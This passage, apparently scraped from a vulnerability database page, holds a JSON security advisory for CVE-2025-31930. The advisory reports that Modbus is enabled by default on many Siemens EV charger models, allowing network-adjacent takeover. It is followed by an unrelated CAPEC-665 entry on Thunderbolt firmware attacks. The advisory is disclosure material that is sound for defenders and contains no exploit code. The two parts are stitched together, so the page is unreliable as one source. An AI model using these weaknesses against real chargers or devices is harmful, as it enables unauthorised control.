"details": "A vulnerability has been identified in IEC 1Ph 7.4kW Child socket (8EM1310-2EH04-0GA0) (All versions \u003c V2.135), IEC 1Ph 7.4kW Child socket/ shutter (8EM1310-2EN04-0GA0) (All versions \u003c V2.135), IEC 1Ph 7.4kW Parent cable 7m (8EM1310-2EJ04-3GA1) (All versions \u003c V2.135), IEC 1Ph 7.4kW Parent cable 7m incl. SIM (8EM1310-2EJ04-3GA2) (All versions \u003c V2.135), IEC 1Ph 7.4kW Parent socket (8EM1310-2EH04-3GA1) (All versions \u003c V2.135), IEC 1Ph 7.4kW Parent socket incl. SIM (8EM1310-2EH04-3GA2) (All versions \u003c V2.135), IEC 1Ph 7.4kW Parent socket/ shutter (8EM1310-2EN04-3GA1) (All versions \u003c V2.135), IEC 1Ph 7.4kW Parent socket/ shutter SIM (8EM1310-2EN04-3GA2) (All versions \u003c V2.135), IEC 3Ph 22kW Child cable 7m (8EM1310-3EJ04-0GA0) (All versions \u003c V2.135), IEC 3Ph 22kW Child socket (8EM1310-3EH04-0GA0) (All versions \u003c V2.135), IEC 3Ph 22kW Child socket/ shutter (8EM1310-3EN04-0GA0) (All versions \u003c V2.135), IEC 3Ph 22kW Parent cable 7m (8EM1310-3EJ04-3GA1) (All versions \u003c V2.135), IEC 3Ph 22kW Parent cable 7m incl. SIM (8EM1310-3EJ04-3GA2) (All versions \u003c V2.135), IEC 3Ph 22kW Parent socket (8EM1310-3EH04-3GA1) (All versions \u003c V2.135), IEC 3Ph 22kW Parent socket incl. SIM (8EM1310-3EH04-3GA2) (All versions \u003c V2.135), IEC 3Ph 22kW Parent socket/ shutter (8EM1310-3EN04-3GA1) (All versions \u003c V2.135), IEC 3Ph 22kW Parent socket/ shutter SIM (8EM1310-3EN04-3GA2) (All versions \u003c V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA0) (All versions \u003c V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA1) (All versions \u003c V2.135), IEC ERK 3Ph 22 kW Child cable 7m (8EM1310-3FJ04-0GA2) (All versions \u003c V2.135), IEC ERK 3Ph 22 kW Child socket (8EM1310-3FH04-0GA0) (All versions \u003c V2.135), IEC ERK 3Ph 22 kW Parent socket (8EM1310-3FH04-3GA1) (All versions \u003c V2.135), IEC ERK 3Ph 22 kW Parent socket incl. SI (8EM1310-3FH04-3GA2) (All versions \u003c V2.135), UL Commercial Cellular 48A NTEP (8EM1310-5HF14-1GA2) (All versions \u003c V2.135), UL Commercial Child 40A w/ 15118 HW (8EM1310-4CF14-0GA0) (All versions \u003c V2.135), UL Commercial Child 48A BA Compliant (8EM1315-5CG14-0GA0) (All versions \u003c V2.135), UL Commercial Child 48A w/ 15118 HW (8EM1310-5CF14-0GA0) (All versions \u003c V2.135), UL Commercial Parent 40A with Simcard (8EM1310-4CF14-1GA2) (All versions \u003c V2.135), UL Commercial Parent 48A (USPS) (8EM1317-5CG14-1GA2) (All versions \u003c V2.135), UL Commercial Parent 48A BA Compliant (8EM1315-5CG14-1GA2) (All versions \u003c V2.135), UL Commercial Parent 48A with Simcard BA (8EM1310-5CF14-1GA2) (All versions \u003c V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1310-5CG14-1GA1) (All versions \u003c V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1314-5CG14-2FA2) (All versions \u003c V2.135), UL Commercial Parent 48A, 15118, 25ft (8EM1315-5HG14-1GA2) (All versions \u003c V2.135), UL Commercial Parent 48A,15118 25ft Sim (8EM1310-5CG14-1GA2) (All versions \u003c V2.135), VersiCharge Blue\u2122 80A AC Cellular (8EM1315-7BG16-1FH2) (All versions \u003c V2.135). Affected devices contain Modbus service enabled by default. This could allow an attacker connected to the same network to remotely control the EV charger.",
"id": "GHSA-jqfw-j9gv-q6cp",
"modified": "2025-05-13T12:31:36Z",
"published": "2025-05-13T12:31:36Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-31930"
},
{
"type": "WEB",
"url": "https://cert-portal.siemens.com/productcert/html/ssa-556937.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-665: Exploitation of Thunderbolt Protection Flaws
An adversary leverages a firmware weakness within the Thunderbolt protocol, on a computing device to manipulate Thunderbolt controller firmware in order to exploit vulnerabilities in the implementation of authorization and verification schemes within Thunderbolt protection mechanisms. Upon gaining physical access to a target device, the adversary conducts high-level firmware manipulation of the victim Thunderbolt controller SPI (Serial Peripheral Interface) flash, through the use of a SPI Programing device and an external Thunderbolt device, typically as the target device is booting up. If successful, this allows the adversary to modify memory, subvert authentication mechanisms, spoof identities and content, and extract data and memory from the target device. Currently 7 major vulnerabilities exist within Thunderbolt protocol with 9 attack vectors as noted in the Execution Flow.